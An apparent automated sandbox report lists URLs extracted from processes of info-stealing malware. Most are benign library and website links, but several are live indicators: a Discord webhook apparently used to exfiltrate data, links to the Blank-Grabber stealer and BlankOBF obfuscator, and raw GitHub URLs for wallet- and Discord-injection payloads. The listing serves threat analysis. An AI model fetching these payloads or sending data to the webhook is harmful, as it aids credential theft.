Source: program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: program.exe, 00000008.00000002.1938588123.00000237A44A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: program.exe, 00000008.00000002.1939044962.00000237A48E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: program.exe, 00000008.00000002.1938239957.00000237A4284000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: program.exe, 00000008.00000002.1938239957.00000237A4284000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: program.exe, 00000008.00000002.1940797595.00000237A4EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: program.exe, 00000008.00000003.1538839445.00000237A4EE8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1539582837.00000237A4BB4000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1539939884.00000237A4BB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://github.com/hackirby/wallets-injection/raw/main/atomic.asarhttps://github.com/hackirby/wallet
Source: program.exe, 00000008.00000002.1938239957.00000237A4284000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1550346820.00000237A4819000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1550188976.00000237A4C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: program.exe, 00000008.00000002.1940797595.00000237A4EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/32902
Source: powershell.exe, 00000033.00000002.1693664914.000001F880ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: program.exe, 00000008.00000002.1939870839.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1935121901.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1593036472.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1666115991.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936998736.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1749300110.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938769127.00000237A47E8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: program.exe, 00000008.00000002.1938769127.00000237A47E8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1549428382.00000237A4819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: program.exe, 00000008.00000002.1939236456.00000237A4D49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://i.ibb.co/GFZ2tHJ/shakabaiano-1674282487.jpgJSON
Source: program.exe, 00000008.00000003.1544671007.00000237A4C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: program.exe, 00000008.00000002.1948709723.00000237A62D4000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5916000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1743204693.00000237A5914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: program.exe, 00000008.00000003.1715550482.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5916000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1948709723.00000237A62E4000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1743204693.00000237A5914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000014.00000002.1825728289.0000023993632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F88196B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F8901BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000033.00000002.1693664914.000001F881653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000033.00000002.1693664914.000001F881653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata
Source: program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/#file-format
Source: program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1940908423.00000237A4FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: program.exe, 00000008.00000003.1538192447.00000237A4790000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1528214217.00000237A44A1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1532943385.00000237A4790000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1537466500.00000237A4790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: program.exe, 00000008.00000002.1953128317.00007FFBAA8E8000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js1157920892103562487626
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: program.exe, 00000008.00000003.1599083346.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1590319286.00000237A5872000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1593084728.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1601850768.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1600386018.00000237A5872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: program.exe, 00000008.00000002.1939870839.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1935121901.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1593036472.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1666115991.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936998736.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1749300110.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4E1C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: program.exe, 00000008.00000002.1941288303.00000237A5300000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: program.exe, 00000008.00000002.1941288303.00000237A537C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1653852125.00000237A5815000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: program.exe, 00000008.00000002.1941288303.00000237A537C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: program.exe, 00000008.00000003.1599083346.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1947748964.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1590319286.00000237A5872000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A5300000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1747910715.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1593084728.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1715550482.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1663641819.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1601850768.00000237A4E68000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1600386018.00000237A5872000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1666115991.00000237A4E49000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E4A000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E49000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A586E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1951725180.00007FFBA666A000.00000004.00000001.01000000.00000015.sdmp, program.exe, 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: program.exe, 00000008.00000002.1953128317.00007FFBAA8E8000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: program.exe, 00000008.00000002.1939236456.00000237A4D49000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
